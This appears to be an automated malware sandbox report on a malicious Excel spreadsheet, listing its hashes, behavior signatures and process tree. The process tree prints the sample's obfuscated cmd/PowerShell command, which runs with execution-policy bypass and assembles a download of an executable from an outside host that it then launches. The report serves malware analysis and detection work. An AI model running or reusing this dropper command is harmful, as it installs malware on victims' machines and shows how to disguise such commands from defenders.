Analysis
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max time kernel
19s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
22-07-2024 22:23
Behavioral task
behavioral1
Sample
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls
Resource
win10v2004-20240709-en
General
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Target
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls
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Size
72KB
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MD5
7028a5d58b15ac3cd43f522747a241aa
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SHA1
6efd62bc2b2d29df559166c4a9e1855a82936415
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SHA256
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082
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SHA512
81adcdb6e3e153c2e75f92937e9ca5f4ff46aa8ef513ce8f70312e2126982688a835f6b01f95c5bfbdc5ce83c6c4f362491bceeb5474f98d0501a7f9e48dce0d
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SSDEEP
1536:5aOadvxHlcaQPy0iWYOcG4BDhnxD7oOExxEtjPOtioVjDGUU1qfDlaGGx+cL2QnZ:5aOadvxHlcaAy0iWYOcG4BDhnxD7oOEe
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2532 2232 CMd.exe 29 -
pid Process 1944 powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2232 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1944 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1944 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2232 EXCEL.EXE 2232 EXCEL.EXE 2232 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2232 wrote to memory of 2532 2232 EXCEL.EXE 30 PID 2232 wrote to memory of 2532 2232 EXCEL.EXE 30 PID 2232 wrote to memory of 2532 2232 EXCEL.EXE 30 PID 2232 wrote to memory of 2532 2232 EXCEL.EXE 30 PID 2532 wrote to memory of 1944 2532 CMd.exe 32 PID 2532 wrote to memory of 1944 2532 CMd.exe 32 PID 2532 wrote to memory of 1944 2532 CMd.exe 32 PID 2532 wrote to memory of 1944 2532 CMd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\SysWOW64\CMd.exeCMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1944
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